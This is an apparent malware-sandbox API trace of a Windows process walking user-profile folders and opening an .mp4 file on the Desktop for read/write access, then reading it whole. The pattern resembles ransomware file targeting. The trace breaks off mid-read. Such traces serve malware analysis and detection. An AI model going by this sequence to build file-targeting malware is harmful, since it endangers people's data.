ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0126.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0126.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2f96f08 [0126.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x38) returned 0x306c8e0 [0126.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0126.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x302af50 [0126.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f96f08 | out: hHeap=0x5c0000) returned 1 [0126.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0126.409] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0 [0126.409] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083f40 | out: hHeap=0x5c0000) returned 1 [0126.409] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0126.409] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.412] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0126.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0126.412] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0126.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0126.412] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0126.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0126.412] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0126.412] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.412] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.412] PathFindFileNameW (pszPath="") returned="" [0126.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.412] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.414] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.414] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0126.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0126.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcf18 [0126.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x54) returned 0x3061720 [0126.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0126.414] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1 [0126.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3083f40 [0126.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0126.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2f96f08 [0126.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0126.414] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1 [0126.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.414] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1 [0126.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0126.414] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1 [0126.414] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0126.414] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 0 [0126.414] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.415] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.415] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.415] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0126.415] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0126.415] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0126.415] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.415] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.416] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.416] PathFindFileNameW (pszPath="") returned="" [0126.416] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.417] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.417] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0126.417] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0126.417] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.417] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.417] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.417] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\") returned="TB1FXyT70\\" [0126.417] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\") returned="eyzvk3aytLrTvd\\" [0126.417] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0126.417] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.417] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.417] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.417] PathFindFileNameW (pszPath="") returned="" [0126.417] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f39ef90, ftCreationTime.dwHighDateTime=0x1d4c6ec, ftLastAccessTime.dwLowDateTime=0x6f045370, ftLastAccessTime.dwHighDateTime=0x1d4d18f, ftLastWriteTime.dwLowDateTime=0x6f045370, ftLastWriteTime.dwHighDateTime=0x1d4d18f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.419] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f39ef90, ftCreationTime.dwHighDateTime=0x1d4c6ec, ftLastAccessTime.dwLowDateTime=0x6f045370, ftLastAccessTime.dwHighDateTime=0x1d4d18f, ftLastWriteTime.dwLowDateTime=0x6f045370, ftLastWriteTime.dwHighDateTime=0x1d4d18f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.419] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3505170, ftCreationTime.dwHighDateTime=0x1d4d22b, ftLastAccessTime.dwLowDateTime=0x47274a40, ftLastAccessTime.dwHighDateTime=0x1d4d362, ftLastWriteTime.dwLowDateTime=0x47274a40, ftLastWriteTime.dwHighDateTime=0x1d4d362, nFileSizeHigh=0x0, nFileSizeLow=0x6c5e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6ften7Ta9q8fR_DlLE.mp4", cAlternateFileName="6FTEN7~1.MP4")) returned 1 [0126.420] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\6ften7Ta9q8fR_DlLE.mp4") returned=".mp4" [0126.420] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\6ften7Ta9q8fR_DlLE.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\tb1fxyt70\\6ften7ta9q8fr_dlle.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.420] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=27742) returned 1 [0126.420] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.422] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x6c38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.422] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.424] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.424] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, 